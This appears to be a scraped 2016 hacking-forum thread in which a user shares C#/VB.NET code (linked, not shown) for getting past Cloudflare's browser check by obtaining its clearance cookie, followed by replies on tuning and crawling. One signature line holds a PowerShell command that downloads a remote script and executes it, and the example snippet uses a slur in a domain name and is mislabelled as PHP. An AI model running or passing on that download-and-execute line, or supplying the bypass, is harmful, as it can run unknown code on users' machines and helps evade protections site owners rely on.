Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Cloudflare Bypass

Credits to sizzuz for finding this originally: https://hackforums.net/showthread.php?tid=5295453

Basically this will create a webclient for any Cloudflare protected website, so that you get the cf clearance cookie, thus bypassing the bot protection.


C#: https://gist.github.com/gubed/8cccced275...5e2afe82f7
VB.NET: https://gist.github.com/gubed/6dccfa408b...aa85fd6952

There are likely VB conversion errors, just let me know.
Also, several minor things have been broken to prevent leeching. So don't ask me why it isn't working, I will not help you.

Example Usage:
PHP Code

<?php 
WebClient c 
= CloudflareBypass.CFClient("https://fagdns.su");
MessageBox.Show(c.DownloadString("https://fagdns.su/aup.php")); 

Enjoy
Nice share mate!
Haven't tested it but coming from you I assume it works just fine.
(Jun 10, 2016 07:17 PM)eCoLoGy Wrote:  Nice share mate!
Haven't tested it but coming from you I assume it works just fine.

There are a few bugs in it (intentional), but can be found easily.




First person I've seen on HF that extended the WebClient for the cookies, but why didn't you use it for your first request?

When I messed around with Cloudfare, a 6 second wait worked the best. 5 seconds worked for most sites, but was a little too quick for some.


For anyone that uses this, make sure you use the same user agent for each request.
Cloudflare is going to patch this with all this rant about it.
Don't rek my site pls. Thanks, and good release. Saw the PHP version was only a matter of time before someone converted it.
[Image: PVoDiqS.png]
Very appreciative about the release! I'll try it out tonight with a few sites that I have in mind! The minor bugs weren't that hard to find at all either ;)
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(Jun 11, 2016 03:28 AM)Yani Wrote:  I hope CF doesn't fix this with all the fuzz around it. There's so many legit uses for bypassing that stupid browser check.

Many illegitimate too...
I think cloudflare will patch this but will continue to use cookie checks and such.
I am quite sure that it will be able to be bypassed even after being patched.
[Image: PVoDiqS.png]
Why ever define a wait time, just place an handler on site refresh as the Javascript script will refresh the page after adding the cookie
(Jun 11, 2016 05:13 AM)Wardow Wrote:  Why ever define a wait time, just place an handler on site refresh as the Javascript script will refresh the page after adding the cookie

.. because he's not using a web browser? those are raw web requests
slowly becoming less active, contact me on-site before dealing.
(Jun 10, 2016 02:42 PM)debug Wrote:  Basically this will create a webclient for any Cloudflare protected website, so that you get the cf clearance cookie, thus bypassing the bot protection.

Actually the cloudflare protection isn't for bot protection, it's for DDoS protection.

(Jun 11, 2016 05:13 AM)Wardow Wrote:  Why ever define a wait time, just place an handler on site refresh as the Javascript script will refresh the page after adding the cookie

You're stupid af.




Also, if cloudflare patch this, there is still another method to solve this that exists,
https://hackforums.net/showthread.php?tid=4530083

That works without fail. But nice work Debug, I like this.
My only thing I would of liked to see is if you had make the function return the cloudlfare clearance cookie value instead of return a webclient instance. This way we can do whatever we want with the cookie value right? This way we're not bound to using the WebClient, we can use any request object and just add the cookie value in or something.
(Jun 11, 2016 05:13 AM)Wardow Wrote:  Why ever define a wait time, just place an handler on site refresh as the Javascript script will refresh the page after adding the cookie

If the refresh time is returned with the interstitial, it makes more sense to wait rather than transferring to/from handlers.
Its a nice share, crawling cludflare sites is a shitty without bypasse
i remember when i coded on project using webbrowser controls to craw!
(Jun 11, 2016 05:13 AM)Wardow Wrote:  Why ever define a wait time, just place an handler on site refresh as the Javascript script will refresh the page after adding the cookie

Care to elaborate? Curious.

For the glory of humanity
(Jun 11, 2016 08:02 AM)Assault Wrote:  .. because he's not using a web browser? those are raw web requests

"WebClient",
Got confused, sorry


(Jun 13, 2016 06:50 AM)Decim Wrote:  Care to elaborate? Curious.

Wait until the page attempt to refresh and save the cookies at that time
I was actually looking to bypass CloudFlare _cf cookie, as some web requests were just returning some random shit. Nice share.

BTW Nice array [-1] Hahaha


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by UKevinJan 17, 2020 01:55 AM 5 273 Jan 17, 2020 01:55 AM
Last Post: SIM-1866423
[.NET] by Egregious Jr.Mar 8, 2019 10:21 AM 13 945 Mar 8, 2019 10:21 AM
Last Post: fec-ri.muhayyel
[.NET] by idb.Jul 26, 2016 06:18 AM 23 3,239 Jul 26, 2016 06:18 AM
Last Post: idb.